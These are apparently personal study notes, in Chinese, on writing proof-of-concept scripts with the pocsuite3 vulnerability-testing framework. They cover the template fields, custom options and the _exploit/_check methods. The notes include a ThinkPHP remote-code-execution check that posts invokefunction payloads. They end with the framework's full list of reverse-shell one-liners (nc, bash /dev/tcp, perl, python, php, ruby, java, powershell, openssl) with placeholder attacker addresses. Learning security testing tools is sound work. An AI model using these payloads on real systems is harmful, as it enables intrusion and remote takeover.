✋这里记录一写关于pocsuite的使用方法,还有一些在使用时的小tips,用到什么记录什么
仅为自己使用时查阅,非使用文档❌
🤦♂️关于刚开始看的时候的感觉:(满脸问号)这是什么意思
官方文档:https://pocsuite.org/guide/parameter-pocsuite.html
项目基本结构
pocsuite提供POC,在<font style="color:#E8323C;">pocsuite/pocs</font>
目录下
关于poc加载,官方文档很清楚。
使用的是-r参数来加载poc,而且-r参数默认的加载目录是pocsuite/pocs
data目录下是字典文件
POC编写
编写POC的时候,也就是POC开发。首先pocsuite会有一个自己的模板。使用命令可以直接生成模板,然后只需要根据已知的payload进行填充和修改,即可完成poc编写。
pocsuite --new
默认选择(一直敲回车)即可
最后在执行命令的目录下生成一个以当前日期命名模板文件。
现在来看看它文件中的内容吧。
from pocsuite3.api import (
minimum_version_required, POCBase, register_poc, requests, logger,
OptString, OrderedDict,
random_str,
)
先导入了一些依赖包
minimum_version_required
:最低版本需求
POCBase
:继承自POCBase类
然后就是一些信息的填充
vulID = '99335' # Seebug 漏洞收录 ID,如果没有则为 0
version = '1' # PoC 的版本,默认为 1
author = 'seebug' # PoC 的作者
vulDate = '2021-8-18' # 漏洞公开日期 (%Y-%m-%d)
createDate = '2021-8-20' # PoC 编写日期 (%Y-%m-%d)
updateDate = '2021-8-20' # PoC 更新日期 (%Y-%m-%d)
references = ['https://www.seebug.org/vuldb/ssvid-99335'] # 漏洞来源地址,0day 不用写
name = 'Fortinet FortiWeb 授权命令执行 (CVE-2021-22123)' # PoC 名称,建议命令方式:<厂商> <组件> <版本> <漏洞类型> <cve编号>
appPowerLink = 'https://www.fortinet.com' # 漏洞厂商主页地址
appName = 'FortiWeb' # 漏洞应用名称
appVersion = '<=6.4.0' # 漏洞影响版本
vulType = 'Code Execution' # 漏洞类型,参见漏洞类型规范表
desc = '/api/v2.0/user/remoteserver.saml接口的name参数存在命令注入' # 漏洞简要描述
samples = ['http://192.168.1.1'] # 测试样列,就是用 PoC 测试成功的目标
install_requires = ['BeautifulSoup4:bs4'] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
pocDesc = ''' poc的用法描述 '''
dork = {'zoomeye': 'deviceState.admin.hostname'} # 搜索 dork,如果运行 PoC 时不提供目标且该字段不为空,将会调用插件从搜索引擎获取目标。
suricata_request = '''http.uri; content: "/api/v2.0/user/remoteserver.saml";''' # 请求流量 suricata 规则
suricata_response = '' # 响应流量 suricata 规则
自定义命令行参数
编写_option()
方法,自定义在attack模式时需要使用的参数
def _options(self):
o = OrderedDict()
o['param'] = OptString('', description='The param')
return o
这是原来模板固定的样子,修改
def _options(self):
o = OrderedDict()
o['cmd'] = OptString('uname -a', description='The command to execute')
return o
自定义命令的形式就是这样的
<font style="color:#E8323C;">o['自定义参数名'] = OptString('执行的命令', descrition='描述')</font>
可以同时定义多个
def _options(self):
o = OrderedDict()
o['cmd'] = OptString('uname -a', description='The command to execute')
o['username'] = OptString('admin', description='login with username')
o['password'] = OptString('123456', description='login with password')
return o
调用自定义的参数
在调用前,如果已经定义了自定义参数,那么怎么查看:
pocsuite -r xxx_xxx_cve_20xx_xxx_xxx.py --options
将显示自定义的参数。
如果是命令行中使用的话,使用方法为
pocsuite -r xxx_xxx_cve_20xx_xxx_xxx.py --username admin --password 123456 -u 127.0.0.1
注意:这里的参数,可以执行也可以不指定,指定了就像上面这样执行的话,是可以指定任何不同的参数,如果不指定参数,那么默认参数就是定义时的初始参数。
这是一种调用方式,另一种则是在脚本内调用,是在文件内函数中进行调用,就不在命令行中使用了。
在这里使用的话,需要使用到一个函数get_option()
def getp_option(self, name):
if name not in self.payload_options:
raise PocsuiteValidationException
return self.payload_options[name].value
调用方式为
def _attack(self):
result = {}
# self.get_option() 方法可以获取自定义的命令行参数
param = self.get_option('cmd')
res = self._exploit(param)
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo'][param] = res
# 统一调用 self.parse_output() 返回结果
return self.parse_output(result)
编写关键方法
_exploit()
主要是漏洞细节
def _exploit(self, param=''):
if not self._check(dork=''):
return False
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payload = 'a=b'
res = requests.post(self.url, headers=headers, data=payload)
logger.debug(res.text)
return res.text
有的不需要写这个,而是_check()
def _check(self, url):
flag = 'Registered PHP Streams'
data = OrderedDict([
("function", "call_user_func_array"),
("vars[0]", "phpinfo"),
("vars[1][]", "-1")
])
payloads = [
r"/?s=admin/\think\app/invokefunction",
r"/admin.php?s=admin/\think\app/invokefunction",
r"/index.php?s=admin/\think\app/invokefunction",
r"/?s=index/\think\Container/invokefunction",
r"/index.php?s=index/\think\Container/invokefunction",
r"/index.php?s=index/\think\app/invokefunction"
]
for payload in payloads:
vul_url = url + payload
r = requests.post(vul_url, data=data)
if flag in r.text:
return payload, dict(data)
return False
以上两个方法都是起到一个重复验证的过程,比如说三种模式,verify/attack/shell都需要调用这个方法。
比如说:我要写个thinkphp_rce的POC脚本,那么我需要知道我用到的payload是什么
无论是验证,还是攻击,都需要先得到这个payload我才可以继续进行下一步。所以这里我就写一个方法,是可以得到这个payload,然后我在使用的时候直接调用一下这个方法,就不需要再次写多余的代码去得到payload了。也是很好理解。方便嘛!
模块介绍
VUL_TYPE
模块的导入方法:<font style="color:#E8323C;">from pocsuite3.api import VUL_TYPE</font>
在编写POC的时候调用:
vulType = VUL_TYPE.CODE_EXECUTION
可以不用自己写这个漏洞是个什么类型的了,下面是常用的,(太多了,就没弄完,无伤大雅)
BACKDOOR = 'Backdoor' # 后门
INSECURE_COOKIE_HANDLING = 'Insecure Cookie Handling' # Cookie验证错误
CSRF = 'CSRF' # CSRF
XSS = 'XSS' # XSS
UXSS = 'UXSS' # 通用跨站脚本攻击(估计是跟XSS一类的,没用到过)
SSRF = 'Server-Side Request Forgery' # SSRF
SHELLCODE = 'ShellCode' # ShellCode
SQL_INJECTION = 'SQL Injection' # SQL注入
ARBITRARY_FILE_DOWNLOAD = 'Arbitrary File Download' # 任意文件下载
ARBITRARY_FILE_CREATION = 'Arbitrary File Creation' # 任意文件写入
ARBITRARY_FILE_DELETION = 'Arbitrary File Deletion' # 任意文件删除
ARBITRARY_FILE_READ = 'Arbitrary File Read' # 任意文件读取
OTHER = 'Other' # 其他
VARIABLE_COVERAGE = 'Variable Coverage' # 变量覆盖
COMMAND_EXECUTION = 'Command Execution' # 命令执行
INJECTING_MALWARE_CODES = 'Injecting Malware Codes' # 恶意代码注入
WEAK_PASSWORD = 'Weak Password' # 弱口令
DENIAL_OF_SERVICE = 'Denial Of service' # 拒绝服务攻击(DDOS)
DATABASE_FOUND = 'Database Found' # (翻译不出)
UPLOAD_FILES = 'Upload Files' # 文件上传
LOCAL_OVERFLOW = 'Local Overflow' # 本地溢出(没见过,是二进制漏洞嘛?)
PRIVILEGE_ESCALATION = 'Privilege Escalation' # 提权
INFORMATION_DISCLOSURE = 'Information Disclosure' # 信息泄露
LOGIN_BYPASS = 'Login Bypass' # 登录绕过
PATH_TRAVERSAL = 'Path Traversal' # 目录遍历
RESOLVE_ERROR = 'Resolve Error' # 错误解决?(待议)
UNAUTHORIZED_ACCESS = 'Unauthorized Access' # 未授权访问
PATH_DISCLOSURE = 'Path Disclosure' # 目录信息泄露
CODE_EXECUTION = 'Code Execution' # 代码执行
REMOTE_PASSWORD_CHANGE = 'Remote Password Change' # 远程密码修改
REMOTE_OVERFLOW = 'Remote Overflow' # 远程溢出(没见过)
DIRECTORY_LISTING = 'Directory Listing' # 目录相关漏洞
NULL_BYTE_INJECTION = 'Null Byte Injection' # 空字符注入
MAN_IN_THE_MIDDLE = 'Man-in-the-middle'
FORMAT_STRING = 'Format String'
BUFFER_OVERFLOW = 'Buffer Overflow'
CRLF_INJECTION = 'CRLF Injection'
XML_INJECTION = 'XML Injection' # XML注入
LOCAL_FILE_INCLUSION = 'Local File Inclusion' # 本地文件包含
REMOTE_FILE_INCLUSION = 'Remote File Inclusion' # 远程文件包含
CREDENTIAL_PREDICTION = 'Credential Prediction'
HTTP_PARAMETER_POLLUTION = 'HTTP Parameter Pollution'
HTTP_REQUEST_SPLITTING = 'HTTP Request Splitting'
HTTP_RESPONSE_SPLITTING = 'HTTP Response Splitting'
HTTP_RESPONSE_SMUGGLING = 'HTTP Response Smuggling'
HTTP_REQUEST_SMUGGLING = 'HTTP Request Smuggling'
SSI_INJECTION = 'SSI Injection' # SSI注入
OUT_OF_MEMORY = 'Out of Memory'
INTEGER_OVERFLOWS = 'Integer Overflows'
CONTENT_SPOOFING = 'Content Spoofing'
XQUERY_INJECTION = 'XQuery Injection'
BUFFER_OVER_READ = 'Buffer Over-read'
BRUTE_FORCE = 'Brute Force' # 暴力破解
LDAP_INJECTION = 'LDAP Injection' # LDAP注入
SECURITY_MODE_BYPASS = 'Security Mode Bypass'
BACKUP_FILE_FOUND = 'Backup File Found' # 备份文件
XPATH_INJECTION = 'XPath Injection'
URL_REDIRECTOR_ABUSE = 'URL Redirector Abuse'
CODE_DISCLOSURE = 'Code Disclosure'
USE_AFTER_FREE = 'Use After Free'
DNS_HIJACKING = 'DNS Hijacking'
IMPROPER_INPUT_VALIDATION = 'Improper Input Validation'
UAF = 'Use After Free'
REVERSE_PAYLOAD
反弹shell的payload
这里集成了很多的弹shell的payload,无论是bash的还是java/php/python/nc/powershell
都可以直接调用,而不需要再去找payload写上去了。很方便!
class REVERSE_PAYLOAD:
NC = """rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f"""
NC2 = """nc -e /bin/sh {0} {1}"""
NC3 = """rm -f /tmp/p;mknod /tmp/p p && nc {0} {1} 0/tmp/p"""
BASH0 = """sh -i >& /dev/tcp/{0}/{1} 0>&1"""
BASH = """bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1'"""
BASH2 = """bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1'"""
TELNET = """rm -f /tmp/p; mknod /tmp/p p && telnet {0} {1} 0/tmp/p"""
PERL = (
"""perl -e 'use Socket;$i="{0}";$p={1};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));"""
"""if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");"""
"""open(STDERR,">&S");exec("/bin/sh -i");}};'"""
)
PYTHON = (
"""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"""
"""s.connect(("{0}",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);"""
"""p=subprocess.call(["/bin/sh","-i"]);'"""
)
PHP = """php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'"""
RUBY = """ruby -rsocket -e'f=TCPSocket.open("{0}",{1}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'"""
JAVA = (
'r = Runtime.getRuntime()\n'
'p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/{0}/{1};cat <&5 | '
'while read line; do $line 2>&5 >&5; done"] as String[])\n'
'p.waitFor()'
)
POWERSHELL = (
'''$client = New-Object System.Net.Sockets.TCPClient('{0}',{1});$stream = $client.GetStream();'''
'''[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)'''
'''{{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);'''
'''$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';'''
'''$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);'''
'''$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()'''
)
OPENSSL = (
'rm -rf /tmp/s;mkfifo /tmp/s||mknod /tmp/s p;'
'/bin/sh -i </tmp/s 2>&1|openssl s_client -quiet -connect {0}:{1}>/tmp/s;'
'rm -rf /tmp/s'
)